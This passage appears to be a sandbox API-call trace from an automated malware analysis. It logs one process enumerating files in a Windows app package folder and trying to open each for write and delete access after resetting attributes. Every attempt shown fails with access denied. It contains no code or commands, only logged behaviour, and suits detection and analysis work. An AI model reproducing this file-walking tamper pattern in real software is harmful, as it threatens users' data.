	[0091.169] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec1de6d7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec1de6d7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec1de6d7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0091.169] FindClose (in: hFindFile=0x477b0e8 | out: hFindFile=0x477b0e8) returned 1
	[0091.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0091.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778660) returned 1
	[0091.169] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b170) returned 1
	[0091.169] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15ab419, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x15d1677, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x15d1677, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x65c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140_app.dll", cAlternateFileName="")) returned 1
	[0091.169] wcscmp (_String1="msvcp140_app.dll", _String2=".") returned 1
	[0091.169] wcscmp (_String1="msvcp140_app.dll", _String2="..") returned 1
	[0091.169] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f78d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1643d88, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1643d88, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5da08, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcamp140_app.dll", cAlternateFileName="")) returned 1
	[0091.169] wcscmp (_String1="vcamp140_app.dll", _String2=".") returned 1
	[0091.169] wcscmp (_String1="vcamp140_app.dll", _String2="..") returned 1
	[0091.169] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1643d88, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x169023a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x169023a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ea10, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140_app.dll", cAlternateFileName="")) returned 1
	[0091.169] wcscmp (_String1="vccorlib140_app.dll", _String2=".") returned 1
	[0091.169] wcscmp (_String1="vccorlib140_app.dll", _String2="..") returned 1
	[0091.169] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x169023a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x169023a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x169023a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd208, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcomp140_app.dll", cAlternateFileName="")) returned 1
	[0091.169] wcscmp (_String1="vcomp140_app.dll", _String2=".") returned 1
	[0091.169] wcscmp (_String1="vcomp140_app.dll", _String2="..") returned 1
	[0091.169] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x169023a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x16b6498, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x16b6498, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12810, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140_app.dll", cAlternateFileName="")) returned 1
	[0091.169] wcscmp (_String1="vcruntime140_app.dll", _String2=".") returned 1
	[0091.170] wcscmp (_String1="vcruntime140_app.dll", _String2="..") returned 1
	[0091.170] FindNextFileW (in: hFindFile=0x46a7250, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x169023a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x16b6498, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x16b6498, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12810, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140_app.dll", cAlternateFileName="")) returned 0
	[0091.170] FindClose (in: hFindFile=0x46a7250 | out: hFindFile=0x46a7250) returned 1
	[0091.170] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470efe8) returned 1
	[0091.170] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481be58) returned 1
	[0091.170] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddc000) returned 1

Thread:
	id = 858
	os_tid = 0x1244

	[0082.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d5d828
	[0082.059] wcscpy (in: _Dest=0x2d5d828, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe"
	[0082.059] wcscat (in: _Dest=0x2d5d828, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.060] wcscat (in: _Dest=0x2d5d828, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.060] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f250
	[0082.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e7ba3c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe09a894e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe09a894e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7290
	[0082.061] wcscmp (_String1=".", _String2=".") returned 0
	[0082.061] FindNextFileW (in: hFindFile=0x46a7290, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e7ba3c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe09a894e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe09a894e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.061] wcscmp (_String1="..", _String2=".") returned 1
	[0082.061] wcscmp (_String1="..", _String2="..") returned 0
	[0082.061] FindNextFileW (in: hFindFile=0x46a7290, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8104241, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa8104241, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa8104241, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.061] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.061] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4717da0
	[0082.061] wcscpy (in: _Dest=0x4717da0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe"
	[0082.061] wcscat (in: _Dest=0x4717da0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.061] wcscat (in: _Dest=0x4717da0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.128] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.128] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.128] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.128] GetLastError () returned 0x5
	[0091.128] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.129] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717da0) returned 1
	[0091.129] FindNextFileW (in: hFindFile=0x46a7290, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e7ba3c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0c2f555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa7e7ba3c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.129] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.129] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.129] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4926008
	[0091.129] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe"
	[0091.129] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\"
	[0091.129] wcscat (in: _Dest=0x4926008, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0091.129] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718b70
	[0091.129] wcscpy (in: _Dest=0x4718b70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0091.129] wcscat (in: _Dest=0x4718b70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.129] wcscat (in: _Dest=0x4718b70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0091.129] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0091.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e7ba3c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0c2f555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa7e7ba3c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b468
	[0091.129] wcscmp (_String1=".", _String2=".") returned 0
	[0091.129] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7e7ba3c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0c2f555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa7e7ba3c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.129] wcscmp (_String1="..", _String2=".") returned 1
	[0091.129] wcscmp (_String1="..", _String2="..") returned 0
	[0091.129] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7e7ba3c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa7e7ba3c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa7e7ba3c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x459, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0091.129] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0091.129] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0091.129] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491caa0
	[0091.129] wcscpy (in: _Dest=0x491caa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0091.130] wcscat (in: _Dest=0x491caa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.130] wcscat (in: _Dest=0x491caa0, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0091.130] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0091.130] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.130] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.130] GetLastError () returned 0x5
	[0091.130] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491caa0) returned 1
	[0091.130] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7e7ba3c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa7e7ba3c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa7e7ba3c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x459, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0091.130] FindClose (in: hFindFile=0x477b468 | out: hFindFile=0x477b468) returned 1
	[0091.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0091.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718b70) returned 1
	[0091.130] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.130] FindNextFileW (in: hFindFile=0x46a7290, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa812a49f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa812a49f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa812a49f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.130] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.130] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.130] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4717990
	[0091.130] wcscpy (in: _Dest=0x4717990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe"
	[0091.130] wcscat (in: _Dest=0x4717990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\"
	[0091.131] wcscat (in: _Dest=0x4717990, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0091.131] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.131] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.131] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.131] GetLastError () returned 0x5
	[0091.131] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.131] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717990) returned 1
	[0091.131] FindNextFileW (in: hFindFile=0x46a7290, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe098276e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0c2fbb1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe098276e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.131] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.131] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491eac8
	[0091.131] wcscpy (in: _Dest=0x491eac8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe"
	[0091.131] wcscat (in: _Dest=0x491eac8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\"
	[0091.131] wcscat (in: _Dest=0x491eac8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491b170
	[0091.131] wcscpy (in: _Dest=0x491b170, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.132] wcscat (in: _Dest=0x491b170, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.132] wcscat (in: _Dest=0x491b170, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.132] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
